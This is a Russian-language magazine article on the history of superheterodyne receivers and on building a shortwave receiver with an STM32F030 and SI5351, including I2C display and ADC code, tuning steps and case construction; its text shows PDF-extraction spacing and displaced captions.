две  индуктив но  свя зан ные  катуш ки  на  общем  сер дечни ке.  При  этом  сиг нал
биений  зас тавлял  колебать ся  метал личес кую  мем бра ну  D  (надо  полагать,
диф фузор). В общем, как ты понима ешь, все было сурово, впол не в духе того
далеко го  вре мени.  Поз днее  при емник  модер низиро вали,  повысив  чувс тви‐ 
тель ность.

Вни матель ное  изу чение  схе мы  поз воля ет  заметить  здесь 
 — да, пред ставь себе, эта шту ка была сде лана уже в 1913 году! Одна ко

боль шого успе ха эта конс трук ция не снис кала, так как в то вре мя генера тор
вспо мога тель ного сиг нала был гро моз дкой, слож ной и очень дорогой в изго‐ 
тов лении шту кой. Тог да наиболь шее рас простра нение получи ли механи чес‐ 
кие генера торы, а до изоб ретения пер вой ради олам пы оста валось еще нес‐ 
коль ко лет.

крис талли чес кий
диод

Сле дующей  ите раци ей  стал  ,  соз‐ 
данный  в  том же 1913  году. В  этом  устрой стве  генера тор был  уже  на  элек‐ 
трон ной  лам пе,  которая  выпол няла  сра зу  три фун кции:  уси лива ла  при нима‐ 
емый  сиг нал,  генери рова ла  вспо мога тель ный,  а  так же  работа ла  в  качес тве
мик шера,  перем ножая  сиг налы.  Из‐за  такой  обиль ной  фун кци ональ нос ти
автор дал при емни ку наз вание «авто дин», намекая, что генера ция вспо мога‐ 
тель ного сиг нала здесь про исхо дит в при емно‐уси литель ных цепях.

ге теро дин ный  при емник  Ген ри  Раун да

INFO

К сло ву, похожее решение я исполь зовал в 
.

статье
о лам повом FM‐при емни ке

А  даль ше  слу чилась  вой на,  которая  ярко  показа ла,  нас коль ко  ради освязь
полез на.  Но  тре бова лись  надеж ные,  более  чувс тви тель ные  и  селек тивные
при емни ки, ведь к тому вре мени ради останций ста ло замет но боль ше. У тог‐ 
дашних  ради опри емни ков  было  три  серь езные  проб лемы:  недос таточ ные
чувс тви тель ность, что нап рямую свя зано с даль ностью свя зи, селек тивность,
то  есть  спо соб ность  выделить  сиг нал  нуж ной  ради останции  из  нес коль ких
при нятых, и устой чивость к атмосфер ным помехам.

Изу чая эти проб лемы, три иссле дова теля незави симо друг от дру га приш‐ 
ли к кон цепту аль но похожим решени ям. Пер вым с нез начитель ным отры вом
был фран цуз  , который пред положил, что если в при емни ке пре‐ 
обра зовы вать сиг нал при нима емой стан ции не сра зу в зву ковую час тоту, а в
некото рую про межу точ ную час тоту (выше слы шимой), то на этой про межу точ‐ 
ной  час тоте  будет  про ще  изба вить ся  от  атмосфер ных  помех,  пос ле  же  ее
мож но пре обра зовать в слы шимую (зву ковую).

Люсь ен Леви

Та кое решение тре бует вве дения в конс трук цию при емни ка допол нитель‐ 
ного гетеро дина. В резуль тате получил ся при бор, говоря сов ремен ным язы‐ 
ком,  с  двой ным  пре обра зова нием  час тоты.  Леви  наз вал  свой  при емник
«супер гетеро дин ным»,  то  есть  содер жащим  допол нитель ный  гетеро дин.
Веро ятно, имен но это и объ ясня ет про исхожде ние столь замыс ловато го наз‐ 
вания.

Впро чем,  сущес тву ет  и  дру гая  вер сия,  которая  пред полага ет,  что  прис‐ 
тавка  «супер»  переко чева ла от  про межу точ ной  час тоты,  которая была  выше
слы шимой, или, как было при нято писать в то вре мя, supersonic (уль траз вук).
В  любом  слу чае  надо  понимать,  что  супер гетеро дин ный  при ем  под разуме‐ 
вает наличие про межу точ ной час тоты.

Схе ма пер вого супер гетеро дин ного при емни ка Леви

Здесь H1 и H2 — точ ки под клю чения пер вого и вто рого гетеро дина. Нес коль‐ 
ко с дру гой сто роны к проб леме под сту пились незави симо друг от дру га 

 и  . Их боль ше занима ла идея уве личе ния чувс‐ 
тви тель нос ти, для чего  тре бовал ся  уси литель на ради олам пах. Одна ко надо
понимать, что ради олам пы в 1918 году были несовер шенны ми и кап ризны ми
устрой ства ми и пос тро ить уси литель с боль шим коэф фици ентом, спо соб ный
работать на час тотах КВ‐диапа зона (2–30 МГц), было прос то невоз можно.

Эд‐ 
вин Армстронг Валь тер Шот тки

Для  решения  этой  проб лемы  иссле дова тели  пред ложили  пре обра зовать
полез ный сиг нал высокой час тоты в про межу точ ную (на которой лам пы мог ли
эффектив но работать) и уже на этой час тоте уси лить сиг нал, что тех нологии
того  вре мени  впол не  поз воляли.  Более  того,  авто ры  ука зыва ли,  что  такое
пре обра зова ние  мож но  выпол нять  в  нес коль ко  эта пов,  что  повысит  устой‐ 
чивость работы уси лите ля.

И если изыс кания нем ца Шот тки носили теоре тичес кий харак тер, то инже‐ 
нер  Армстронг  в  Аме рике  уже  в  1918  году  пос тро ил  работа ющий  про тотип
сво его  супер гетеро дина  на  вось ми  лам пах  (на  самом  деле  безум ное
количес тво для того вре мени). Выг лядело это как‐то так.

Ран ний вари ант супер гетеро дина

Тем не менее тог да супер гетеро дины не наш ли широко го при мене ния, и при‐ 
чиной тому была в пер вую оче редь высокая цена. В то вре мя как раз появи‐ 
лись  , которые хоть и усту пали супер гетеро динам
по сво им харак терис тикам, но зато поз воляли пос тро ить при емле мого качес‐ 
тва при емник, исполь зуя все го одну или две лам пы. Любопыт но, что регене‐ 
ратив ный  при емник  был  изоб ретен  так же  Армстрон гом  и,  что  харак терно,
при нес ему гораз до боль ший доход и извес тность.

ре гене ратив ные при емни ки

По‐нас тояще му  эпо ха    началась  лишь
в 1930‐х годах, ког да лам пы ста ли гораз до дос тупнее и истек срок соот ветс‐ 
тву ющих патен тов. В ито ге к кон цу Вто рой мировой вой ны супер гетеро дины
прак тичес ки вытес нили все осталь ные типы при емни ков. В нас тоящее вре мя
супер гетеро дин ные при емни ки счи тают ся стан дартом. Основное же пре иму‐ 
щес тво супер гетеро дина зак люча ется в том, что выб рать при нима емый сиг‐ 
нал мож но перес трой кой самого гетеро дина.

су пер гетеро дин ных  при емни ков

При этом про межу точ ная час тота оста ется пос тоян ной, так что мож но при‐ 
менить высоко эффектив ные квар цевые филь тры в уси лите ле про межу точ ной
час тоты. Это поз воля ет лег ко получить жела емую изби ратель ность по сосед‐ 
нему каналу.

Чувствительность, избирательность и полоса пропускания
Сре ди  всех  харак терис тик  любого  при емни ка  полез но  выделять  ряд  клю‐ 
чевых:  чувс тви тель ность,  изби ратель ность  и  полоса  про пус кания.  Чувс тви‐ 
тель ность —  это  минималь ный  уро вень  ради осиг нала  в  мик роволь тах,  поз‐ 
воля ющий получить на выходе сиг нал с задан ным соот ношени ем сиг нал/шум.
Или, говоря про ще, это минималь ный уро вень сиг нала, при котором стан цию
еще мож но услы шать. Хорошие сов ремен ные при емни ки име ют чувс тви тель‐ 
ность око ло 1 мкВ.

Из биратель ность  по  сосед нему  каналу  харак теризу ет  спо соб ность  при‐ 
емни ка  выделять  нуж ный  сиг нал  при  наличии близ ко  рас положен ных меша‐ 
ющих сиг налов, изме ряет ся в децибе лах. Допус тим, есть две стан ции рав ной
мощ ности,  отсто ящие  друг  от  дру га  на  10  кГц  (типич ная  ширина  канала
на  вещатель ных  КВ‐диапа зонах).  Изби ратель ность  будет  показы вать,  нас‐ 
коль ко  сла бее  будет  при нимать ся  сиг нал  сосед ней  стан ции  при  нас трой ке
на жела емую.

На конец,  полоса про пус кания — это параметр,  тес но свя зан ный с изби‐ 
ратель ностью,  который  показы вает  откло нение  час тоты  сиг нала  от  час тоты
нас трой ки,  ког да  сиг нал  осла бева ет  на  3  дБ  (это  при мер но  0,7  для  нап‐ 
ряжения и 0,5 для мощ ности).

В ЧЕМ ПРОФИТ?
Ко неч но, сей час сбор ка собс твен ного ради опри емни ка лишена эко номи чес‐ 
кой  целесо образнос ти.  Более  того,  с  раз вити ем  интерне та  ради ове щание
сегод ня  уже  потеря ло  былую  акту аль ность.  Даже  FM‐диапа зон  замет но
поредел, не говоря уже о корот ких вол нах. И все же ради опри ем на корот ких
вол нах,  как  сей час  при нято  выражать ся,  дает  ощу щение  «теп лой  лам повос‐ 
ти». Более того, сама идея «сво бод но» переда вать информа цию, минуя гра‐ 
ницы и пос редни ков, до сих пор выг лядит весь ма зло бод невно.

Так, фак тичес ки не вста вая со сту ла, мож но про бежать ся если не по все му
миру,  то  как минимум по сво ему матери ку:  тысячи  километ ров для  корот ких
волн совер шенно не проб лема, даже в круп ных городах, где ради оэфир силь‐ 
но зашум лен. Находясь в Мос кве, мож но без тру да услы шать Китай, Индию,
Катар и дру гие стра ны. Сущес тву ет даже такое явле ние, как   — «охо та»
на  даль ние  ради останции,  сво его  рода  сос тязание.  При няв  ради останцию
и  отпра вив  соот ветс тву ющий  ответ,  мож но  получить  кар точку QSL  с  эмбле‐ 
мой ради останции.

DXing

В  интерне те  на  некото рых  форумах  есть  отдель ные  ,  пос вящен ные
таким кар точкам. Как пишут учас тни ки, китай цы охот но отправ ляют кар точки.
Впро чем,  лич но  меня  боль ше  инте ресу ет  само  соз дание  и  нас трой ка  при‐ 
емни ка. Даль ше  я  рас ска жу  об  отно ситель но  нес ложном  при емни ке  с  циф‐ 
ровой  шка лой  и  квар цевой  ста били заци ей  час тоты,  впол не  при год ном
для при ема сиг нала с даль них стан ций.

те мы

Почему именно супергетеродин
Ра зуме ется,  для  при ема  на  корот ких  вол нах  мож но  исполь зовать  гораз до
более  прос тые  решения.  Нап ример,  регене ратив ные  при емни ки,  наибо лее
известен из которых, пожалуй, «Могика нин» MFJ‐8100. Его мож но при обрести
готовым (дол ларов за сто на популяр ных онлай новых пло щад ках) или в виде
набора для сбор ки, а мож но и вов се соб рать самому — бла го схе ма откры та.
Но  регене ратор —  это  ско рее  «для  баловс тва»,  так  как,  прос лушивая  стан‐ 
цию, пос тоян но при дет ся подс тра ивать регене рацию и атте нюатор. Это про‐ 
исхо дит  из‐за  того,  что  КВ‐сиг нал  прак тичес ки  пос тоян но  меня ет  свою
интенсив ность в широких пре делах. Свя зано это с атмосфер ными явле ниями,
вли яющи ми на про хож дение. И это го как раз регене ратор очень не любит.

ПРАКТИКА
Итак,  суть  работы  гетеро динов  в  таком  при емни ке  зак люча ется  в  том,  что
вход ной «высоко час тотный» сиг нал пре обра зует ся в про межу точ ную час тоту
(мы  будем  исполь зовать  455  кГц),  на  которой  будет  выпол нять ся  основная
селек ция  и  уси ление  сиг нала. Далее  сле дует  детек тор,  выделя ющий сиг нал
зву ковой час тоты, и уси литель, необ ходимый для гром когово ряще го при ема.
Рас смот рим струк турную схе му супер гетеро дина.

Синтезатор
За  осно ву  была  взя та  конс трук ция,  которую  я  уже  исполь зовал  в 

,  одна ко  в  дан ном  слу чае  я  пос читал,  что  исполь зование  мик рокон‐ 
трол лера  STM32F103  избы точ но,  и  пор тировал  некото рые  кус ки  кода
на STM32F030. Пос ледний сла бее по харак терис тикам, но нес коль ко дешев‐ 
ле и, кро ме того, дос тупен в более удоб ном для самоде лок кор пусе LQFP32.
Это  один  из  нем ногих  МК  c  ядром  Cortex‐M  и  шагом  меж ду  кон такта‐ 
ми 0,8 мм. Впро чем, у   шаг все рав но 0,5 мм, поэто му пол ностью изба‐ 
вить ся от мелочов ки в про екте не вый дет.

SDR‐при‐ 
емни ке

SI5351

Я  добавил  в  схе му  ста били затор  питания  и  опе раци онный  уси литель
для отоб ражения уров ня при нима емо го сиг нала. ОУ работа ет в режиме пов‐ 
торите ля,  а  на его  выходе сто ит делитель нап ряжения,  что поз воля ет изме‐ 
рять  нап ряжение  управля юще го  сиг нала  АРУ  (изме няет ся  в  диапа зоне
от 0,5 до 4,7 В). Так как управля ющее нап ряжение АРУ близ ко к нап ряжению
питания,  то  при менен  rail‐to‐rail  опе раци онный  уси литель MV358.  Его  здесь
мож но заменить на более рас простра нен ный LM358, но тог да вер хний пре‐ 
дел изме ряемо го нап ряжения сни зит ся до 4 В (при питании 5 В).

Так же в схе ме заложе на воз можность управлять варика пами для авто нас‐ 
трой ки  вход ных  цепей,  одна ко  под ходящих  варика пов  я  не  нашел,  поэто му
такую фун кцию не реали зовал. Схе ма син тезато ра пред став лена на рисун ке.

В  целом  пор тирова ние  прош ло  доволь но  прос то,  за  исклю чени ем  I2C,
с которым вылез ла одна неожи дан ная осо бен ность. Основные отли чия каса‐ 
ются ини циали зации пор тов вво да‐вывода, которая в libopencm3 для семей‐ 
ства F0 отли чает ся от F1. На мой вкус, в F0 этот про цесс даже проз рачнее,
но  вот  c  I2C  все  же  приш лось  нем ножко  поковы рять ся.  Дело  в  том,  что
для  уско рения  вывода  на  экран  я  исполь зую  модифи циро ван ные  фун кции
переда чи,  а  на  уров не  регис тров  работа  с  I2C  в  семей ствах  F0  и  F1  раз‐ 
личная,  поэто му  приш лось  пра вить  код биб лиоте ки  дис плея. Здесь и  далее
за осно ву взя ты фун кции libopencm3.

     static void wait_i2c(void) {
         bool wait = true;
       while (wait) {

            if (i2c_transmit_int_status(OLEDI2C))wait = false;
          while (i2c_nack(OLEDI2C)); /* FIXME Some error */

   }
}

         void oled_send_cmd2(uint8_t *cmd, uint16_t n) {
     i2c_set_7bit_address(OLEDI2C, OLEDADDR);
   i2c_set_write_transfer_dir(OLEDI2C);
     i2c_set_bytes_to_transfer(OLEDI2C, 2*n);
   i2c_enable_autoend(OLEDI2C);
   i2c_send_start(OLEDI2C);

                     for (size_t i = 0; i < n; i++) {
       wait_i2c();

        i2c_send_data(OLEDI2C, 0x80);
       wait_i2c();

        i2c_send_data(OLEDI2C, *cmd++);
   }
}

         void oled_send_data2(uint8_t *data, uint16_t n) {
     i2c_set_7bit_address(OLEDI2C, OLEDADDR);
   i2c_set_write_transfer_dir(OLEDI2C);
     i2c_set_bytes_to_transfer(OLEDI2C, n+1);
   i2c_enable_autoend(OLEDI2C);
   i2c_send_start(OLEDI2C);

   wait_i2c();
     i2c_send_data(OLEDI2C, 0x40);
                     for (size_t i = 0; i < n; i++) {
       wait_i2c();

        i2c_send_data(OLEDI2C, *data++);
   }
}

         void oled_send_n_bytes_data(uint8_t byte, uint8_t n) {
     i2c_set_7bit_address(OLEDI2C, OLEDADDR);
   i2c_set_write_transfer_dir(OLEDI2C);
     i2c_set_bytes_to_transfer(OLEDI2C, n+1);
   i2c_enable_autoend(OLEDI2C);
   i2c_send_start(OLEDI2C);
   wait_i2c();
     i2c_send_data(OLEDI2C, 0x40);
                     for (size_t i = 0; i < n; i++) {
       //while(!(I2C_ISR(OLEDI2C) & I2C_ISR_TC));
       wait_i2c();

        i2c_send_data(OLEDI2C, byte);
   }
}

Та кая  модифи кация  поз воля ет  отправ лять  целые  мас сивы  команд  или  дан‐ 
ных, при этом необ ходимые для про токо ла управле ния дис плея бай ты добав‐ 
ляют ся в про цес се, что сни жает нак ладные рас ходы. Одна ко на прак тике ока‐ 
залось, что при попыт ке очис тить экран такой код «под вешива ет» мик рокон‐ 
трол лер. Пос ле некото рого изу чения проб лемы выяс нилось, что дело в аппа‐ 
рат ной  реали зации  перифе рии  I2C  в  семей стве  F0  и  ошиб ка  воз ника ет
при попыт ке отпра вить в один заход боль ше 255 байт.

При чина  в  том,  что  мик рокон трол лер  отправ ляет  на  шину  сиг нал  окон‐ 
чания  переда чи  пос ле  обну ления  счет чика  передан ных  бай тов,  который
отсчи тыва ет бай ты авто мати чес ки, а под этот счет чик отве дено ров но восемь
бит  в  соот ветс тву ющем  регис тре.  Поэто му,  если  надо  отпра вить  боль‐ 
ше 255 байт,  надо сле дить  за обну лени ем это го счет чика и сбра сывать его
в  нуж ный  момент,  реини циали зируя  переда чу.  Самос тоятель но  биб лиоте ка
libopencm3 на такое нес пособ на.

По раз мыслив над этим, я решил тоже осо бо не усложнять и прос то под‐ 
пра вить фун кцию очис тки  экра на. В  семей стве  F1 отправ ка  стар тового  сиг‐ 
нала кон тро лиру ется соф том, и там этой проб лемы нет. А вот и ито говая фун‐ 
кция очис тки экра на с необ ходимы ми исправ лени ями:

   void oled_clear(void) {
         oled_set_col_block(0, 127, 0, 8);
   // for (uint16_t i = 0; i < 128*8; i++) oled_send_data(0x00);
   // for (uint32_t i = 0; i < 0xFFFF; i++) __asm__("nop");
   // oled_send_n_bytes_data(0x00, 128*8);
                     for (uint8_t i = 0; i < 8; i++) {

        oled_send_n_bytes_data(0x00, 128);
   }
       pos = 0;
}

Дру гой  неп рият ностью  ста ли  неожи дан ные  зависа ния  при  вра щении  энко‐ 
дера.  Как  выяс нилось,  дело  было  в  ста били зато ре  нап ряжения.  Сна чала  я
исполь зовал ста били затор с низ ким падени ем нап ряжения  , пред‐ 
назна чен ный  для  работы  с  литий‐полимер ными  акку муля тора ми.  И  хотя
по даташи ту он работа ет со вход ным нап ряжени ем до 5,5 В, уже при вход ном
нап ряжении 5 В он почему‐то выда ет 3,5 В.
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Во обще говоря, судя по даташи ту на сам F030, мик рокон трол лер дол жен
перева ривать такое питание (вплоть до 3,6 В). Одна ко на прак тике повыше‐ 
ние  нап ряжения  приш лось  ему  не  по  вку су  —  он  пери оди чес ки  зависал.
Замена  ста били зато ра  (на  этот  раз  я  взял  )  решила  проб лему,  и  при
нап ряжении питания 3,3 В прог рамма наконец зарабо тала без зависа ний.
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Нес коль ко слов сле дует ска зать и об АЦП, с помощью которо го изме ряет‐ 
ся уро вень сиг нала АРУ. Замора чивать ся с филь тра цией нап ряжения питания
АЦП  я  не  стал,  вмес то  это го  исполь зовал  прог рам мное  подав ление  помех.
Извес тно, что соот ношение сиг нал/шум про пор циональ но квад ратно му кор‐ 
ню  из  чис ла  изме рений.  Таким  обра зом,  совер шая  вмес то  одно го  изме‐ 
рения  4096  изме рений  и  усредняя  резуль тат,  мы  подав ляем  шум  АЦП
в 64 раза. Это го, в прин ципе, уже хва тает, что бы дос товер но изме рять десят‐ 
ки мил ливольт. Что же каса ется зат рат вре мени, то они нас в дан ном слу чае
не вол нуют, так как даже такой ско рос ти в этой задаче более чем дос таточ но.

Кро ме  того,  усредне ние  зна чений  мож но  допол нитель но  уско рить,  если
заменить зат ратную опе рацию деления опе раци ей сдви га. Так, сдвиг впра во
на  12  дво ичных  раз рядов  экви вален тен  целочис ленно му  делению  на  4096
(ана логич но и с  умно жени ем). Фун кция изме рения  уров ня сиг нала АРУ выг‐ 
лядит сле дующим обра зом.

   uint16_t measure() {
         uint32_t temp = 0;
                     for (uint16_t i = 0; i < 4096; i++) {
       adc_start_conversion_regular(ADC1);

        while (!(adc_eoc(ADC1)));
          temp += ADC_DR(ADC1);

   }
           temp = temp >> 12;
   temp=temp*2*3290/4095;
     return (uint16_t)temp;
}

Эта фун кция ока залась очень полез ной, в том чис ле для нас трой ки готово го
устрой ства. Ори енти руясь  на  уро вень  сиг нала  АРУ,  дос таточ но  прос то  нас‐ 
тро ить кон туры при емни ка, при этом не нуж но ни тес тера, ни осциллог рафа.
Алго ритм работы дос таточ но прос той, в бес конеч ном цик ле ждем изме нения
счет чика энко дера, пос ле чего перес тра иваем син тезатор на нуж ную час тоту
и отоб ража ем новую час тоту на экра не с поп равкой на зна чение про межу точ‐ 
ной час тоты. Затем изме ряем нап ряжение АРУ и так же выводим на экран.

#define IF_FEQ 455
...

 while(1) {
           if (encoder != old_enc) {
     si5351_set_freq(encoder*100000ULL, SI5351_CLK0);
       old_enc = encoder;
   o_printf_at(0,0,1,0,"CNT=%d",count++);
   o_printf_at(0,1,3,0,"%dKHz",encoder‐IF_FEQ);
   o_printf_at(0,4,1,0,"F=%dKHz",encoder);
}

     if (!gpio_get(GPIOA, GPIO6)) {
     while(!gpio_get(GPIOA, GPIO6));
       coef *= 10;
               if (coef > 10) coef = 1;
             o_printf_at(0, 0, 1, 0, "coef=>>>%d<<<", coef);
}

     if (!gpio_get(GPIOA, GPIO5)) {
     while(!gpio_get(GPIOA, GPIO5));
   next_band();
}

                 for (uint32_t i = 0; i < 0xFFFF; i++) __asm__("nop");
 gpio_toggle(GPIOA, GPIO4);

     uint16_t temp2 = measure();
         o_printf_at(0, 5, 1, 0, "V_AGC=%4dmV", temp2);

Зна чение  про межу точ ной  час тоты  зависит  от  исполь зован ного  филь тра,
в дан ном слу чае это 455 кГц. Осталь ной код, схе му и фай лы печат ной пла ты
мож но най ти на  .GitHub

Продолжение статьи →



СУПЕРГЕТЕРОДИН
КАК Я СОБРАЛ КОРОТКОВОЛНОВЫЙ
РАДИОПРИЕМНИК НА STM32 И SI5351

ТРЮКИ  НАЧАЛО СТАТЬИ←

Схема аналоговой части
Здесь все как на струк турной схе ме выше. На вхо де сто ит перес тра иваемый
филь тр  из  двух  кон туров.  Если  огра ничить ся  одним  диапа зоном,  то  мож но
перемен ный кон денса тор заменить пос тоян ным. Нап ример, при емкости кон‐ 
денса торов  150  пФ  и  дан ных  номина лах  катушек  при емник  нас тро ен
на  диапа зон  41 м. Одна ко  один фик сирован ный  диапа зон — это  неудоб но,
поэто му  ста вим  перемен ный  кон денса тор  и  дела ем  помет ки  положе ния
движ ка для раз ных диапа зонов.

Сле дом  за  филь тром  идет  сме ситель  на  спе циали зиро ван ной  мик росхе ме
.  Вооб ще,  я  поп робовал  нес коль ко  раз ных  вари антов  сме сите лей,

но вари ант с SA612 с точ ки зре ния нас трой ки ока зал ся самым прос тым, все
зарабо тало  сра зу  же.  Далее  идет  УПЧ  —  в  дан ной  конс трук ции,  пожалуй,
самый слож ный узел,  как с  точ ки зре ния схе мотех ники,  так и с  точ ки зре ния
отладки.

SA612

Впро чем, все не  так страш но, дос таточ но подоб рать номинал резис тора
R9  таким  обра зом,  что бы  на  кол лекто ре  тран зисто ра  Q5  была  при мер но
полови на  нап ряжения  питания,  пос ле  чего  дос таточ но  подс тро ить  катуш ку
кон тура ПЧ по мак симуму сиг нала. Сле дом за УПЧ идет детек тор, соб ранный
по клас сичес кой схе ме с удво ением.

Уро вень  сиг нала  на  выходе  детек тора  отсле жива ется  тран зисто ром  Q4,
управля ющим сме щени ем тран зисто ра Q2. Ког да на выходе детек тора рас тет
нап ряжение, тран зистор Q4 откры вает ся, сни жая ток сме щения на базе тран‐ 
зисто ра Q2,  тем самым  умень шая его  коэф фици енты  уси ления,  что,  в  свою
оче редь, умень шает общее уси ление УПЧ. Так в дан ном слу чае реали зова на
АРУ. От АРУ,  конеч но, мож но отка зать ся,  упростив схе му, одна ко, пос коль ку
сиг нал  стан ций  на  корот ких  вол нах  нес табилен,  слу шать  при емник  с  АРУ
гораз до при ятнее. И не нуж но пос тоян но кру тить руч ку гром кости.

В  УПЧ  при мене ны  квар цевые  филь тры  SFU455,  их  полоса  про пус кания,
пря мо ска жем, широко вата для наших задач (15 кГц), но если взять пароч ку,
то получа ется более‐менее, да и сто ят они уж сов сем дешево.

В  завер шение  зву ковой  сиг нал  уси лива ется  УЗЧ  на  доволь но  извес тной
мик росхе ме LM386. Собс твен но, в таком виде при емник был соб ран сна чала
на макете, а потом перене сен на печат ную пла ту.

Детали и прочее
Из  дру гих  ком понен тов  сто ит  обсу дить  катуш ки.  Все  они  намота ны  на  кар‐ 
касах диамет ром 5 мм с подс тро ечни ками из фер рита. Такие кар касы мож но
недоро го  купить  в  Китае.  А  мож но  и  на  барахол ке  или  выковы рять
из  какого‐нибудь  донора.  Вход ные  кон туры  содер жат  по  20  вит ков  (виток
к вит ку) про вода 0,2 мм, катуш ка свя зи содер жит пять вит ков того же про вода
и мота ется поверх кон турной. Кон тур ПЧ содер жит 90 вит ков про вода 0,12 мм
с отво дом от середи ны, намотан ных вна вал.

Ка туш ка  свя зи  содер жит  25  вит ков  того  же  про вода  и  мота ется  вна вал
на пер вичную (не очень кра сиво, зато прос то и, глав ное, работа ет). Для такой
катуш ки,  что бы  попасть  в  455  кГц,  нужен  кон денса тор  от  1000  до  1500  пФ,
а  даль ше  уже  мож но  подс тро ить  сер дечни ком.  Если  под ходящих  кар касов
нет, их мож но скле ить из бумаги или исполь зовать под ходящую плас тиковую
труб ку, а точ ную подс трой ку делать емкостью.

Мож но и вов се оста вить лишь один кон тур, но этот вари ант хуже. Разуме‐ 
ется, при сме не кар каса нуж ное чис ло вит ков при дет ся подоб рать. Это чис ло
вит ков  ,  исполь зуя  извес тные  фор мулы  или  даже
онлайн‐каль кулято ры,  то же  каса ется и    кон тура. Помимо
это го,  есть  дос таточ но  прос той  спо соб  оце нить  час тоту  резонан са
с  помощью  осциллог рафа.  Кон тур  под клю чает ся  к  щупу  осциллог рафа,
а  через  неболь шую  емкость  на  него  пода ется  тес товый  сиг нал  с  того  же
осциллог рафа  (меандр  1  кГц,  5  В).  В  резуль тате  на  экра не  мож но  видеть
затуха ющие колеба ния в момент вос ходяще го и нис ходяще го фрон тов с час‐ 
тотой резонан са кон тура.

мож но  рас счи тать
час тоты резонан са

Настройка
Нас тра ивать  при емник на печат ной пла те,  в  прин ципе,  нес ложно,  осо бен но
если под рукой есть генера тор сиг налов. Пос ле того как под бором резис тора
R9  на  кол лекто ре  тран зисто ра  Q5  уста нов лено  нап ряжение  око ло  2,5  В,
на  генера торе  выс тавля ем  сиг нал,  ска жем  час тотой  7200  кГц,  вклю чаем
ампли туд ную модуля цию сиг налом в 1  кГц и  уста нав лива ем ампли туду,  нап‐ 
ример  10  мВ,  чтоб  уж  навер няка.  Сиг нал  пода ем  на  вход  при емни ка  и  с
помощью син тезато ра нас тра иваем ся на эту час тоту.

За тем  подс тра иваем  вход ной  кон тур  так,  что бы  гром кость  была  мак‐ 
сималь на.  Если  сиг нал  слиш ком  силь ный,  сле дует  под кру тить  атте нюатор,
что бы  нап ряжение  АРУ  было  в  рай оне  3000  мВ.  Теперь  подс тра иваем
с помощью сер дечни ков вход ные кон туры, добива ясь миниму ма нап ряжения
АРУ, что экви вален тно мак симуму сиг нала. Далее то же про делы ваем с кон‐ 
туром ПЧ. Все, нас трой ка закон чена, про ще, чем кажет ся на пер вый взгляд.

Как показа ла прак тика, при емник не очень чувс тви телен к расс трой ке кон‐ 
туров,  поэто му  увес ти  его  далеко  от  опти маль ного  зна чения  слож но,  что,
безус ловно, при ятно.

Корпус
Я хотел сде лать кор пус из алю миния, но в пос ледний момент мне ста ло лень
пилить/свер лить,  поэто му  я  вос поль зовал ся  ста рым  про верен ным  вари‐ 
антом  —  орг стек лом.  Кор пус  выпол нен  из  лис тового  орг стек ла  тол‐ 
щиной  3  мм  как  под дон  с  крыш кой.  Сам  под дон  пред став ляет  собой  изог‐ 
нутую  бук вой  П  плас тину  орг стек ла,  к  которой  прик леены  боковые  стен ки.
Изги бание орг стек ла поз воля ет получать нес коль ко более сим патич ные фор‐ 
мы,  нежели  прос тая  склей ка.  Гнуть  орг стек ло  мож но  как  на  спе циаль ном
стан ке, так и прос то при помощи паяль ного фена.

Для  это го  орг стек ло  кла дет ся  на  край  под ходящей  деревяш ки  и  гре ется
в мес те сги ба до раз мягче ния, пос ле чего при жима ется к деревяш ке и удер‐ 
жива ется  до  зат верде вания.  Тут  надо  при лов чить ся,  но  ничего  осо бо  слож‐ 
ного нет. Тем перату ру на фене мож но выс тавлять гра дусов   и прог‐ 
ревать деталь обсто ятель но.
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На  перед нюю  панель  кор пуса  выводят ся  руч ки  атте нюато ра,  гром кости,
нас трой ки  и  перек лючения  диапа зонов,  так же  на  ней  зак репля ется  экран.
В  боковой  стен ке  есть  про резь  для  колеса  кон денса тора  перемен ной
емкости. На зад нюю стен ку выведен разъ ем антенны. Свер ху на крыш ке зак‐ 
реплен динамик, под который сде ланы фигур ные про пилы.

Для склей ки орг стек ла хорошо под ходит рас твор орг стек ла в дих лорэта не,
орг стек ло  рас тво ряет ся  в  нем  дос таточ но  хорошо,  но  не  быс тро,  поэто му
при дет ся нем ного подож дать.

WARNING

Дих лорэтан  —  суб стан ция  дос таточ но  ток сичная,
и дышать его парами не рекомен дует ся. Говорят,
от нее даже часы могут оста новить ся на полови не
шес того.  Так  что  будь  вни мате лен  и  соб людай
меры пре дос торож ности.

Го товое устрой ство выг лядит так.

Смеситель
Сме ситель,  пожалуй,  самый  инте рес ный  узел  при емни ка,  и  от  качес тва  его
работы  во  мно гом  зависят  ито говые  харак терис тики  все го  устрой ства.  Так
как же работа ет сме ситель? Отчасти мы уже касались это го воп роса в 

, где говори ли, что задача сме сите ля — перем ножение двух
сиг налов.

статье
о SDR‐при емни ке

Ес ли вспом нить школь ную три гоно мет рию, то лег ко уви деть, что

Acos(a) ⋅ Bcos(b) = AB(cos(a+b) + cos(a–b))/2

Здесь A и B — ампли туды сиг налов с час тотами а и b. Таким обра зом, перем‐ 
ножение  двух  косину сов  дает  косину сы  сум мы  и  раз ности  исходных  час тот,
при чем  их  ампли туда  оче вид но  про пор циональ на  про изве дению  ампли туд
исходных  фун кций.  Более  того,  мы  получи ли  новые  сиг налы  с  час тотой
биений   и  , а их ампли туда боль ше ампли туды мень шего из вход‐ 
ных  сиг налов.  То  есть  мы  получи ли  еще  и  некото рое  уси ление  за  счет
перерас пре деле ния энер гии. Собс твен но, Фес сенден в свое вре мя  как раз
и обра тил на это вни мание.

a + b a – b

Хо рошо, а как же перем ножить сиг налы? С сум мой все прос то, а с умно‐ 
жени ем  хит рее.  Пред ста вим,  что  у  нас  есть  эле мент  с  квад ратич ной  харак‐ 
терис тикой: если на его вход подать нап ряжение U, то на выходе будет нап‐ 

ряжение, про пор циональ ное U  Это, нап ример, диод и полевой тран зистор.
Теперь если заменить одно нап ряжение U на сум му, то выход ное нап ряжение
будет про пор циональ но квад рату сум мы вход ных.

2.

Прин цип работы сме сите ля

За тем,  вспо миная  раз ложение  квад рата  сум мы,  мы  видим,  что  на  выходе
появит ся  про изве дение  двух  вход ных  сиг налов,  а  заод но  и  гар моники  (сиг‐ 
налы крат ной час тоты) вход ных сиг налов.

(sin(a) + sin(b))  = sin(a)  + 2sin(a) ⋅ sin(b) + sin(b)
2 2 2

Та ким обра зом мы переш ли от сло жения к умно жению! Пред став ленные фор‐ 
мулы  спра вед ливы  для  квад ратич ной  харак терис тики,  одна ко  похожая  ситу‐ 
ация  будет  и  на  дру гих  нелиней ных  эле мен тах,  нап ример  тран зисто рах
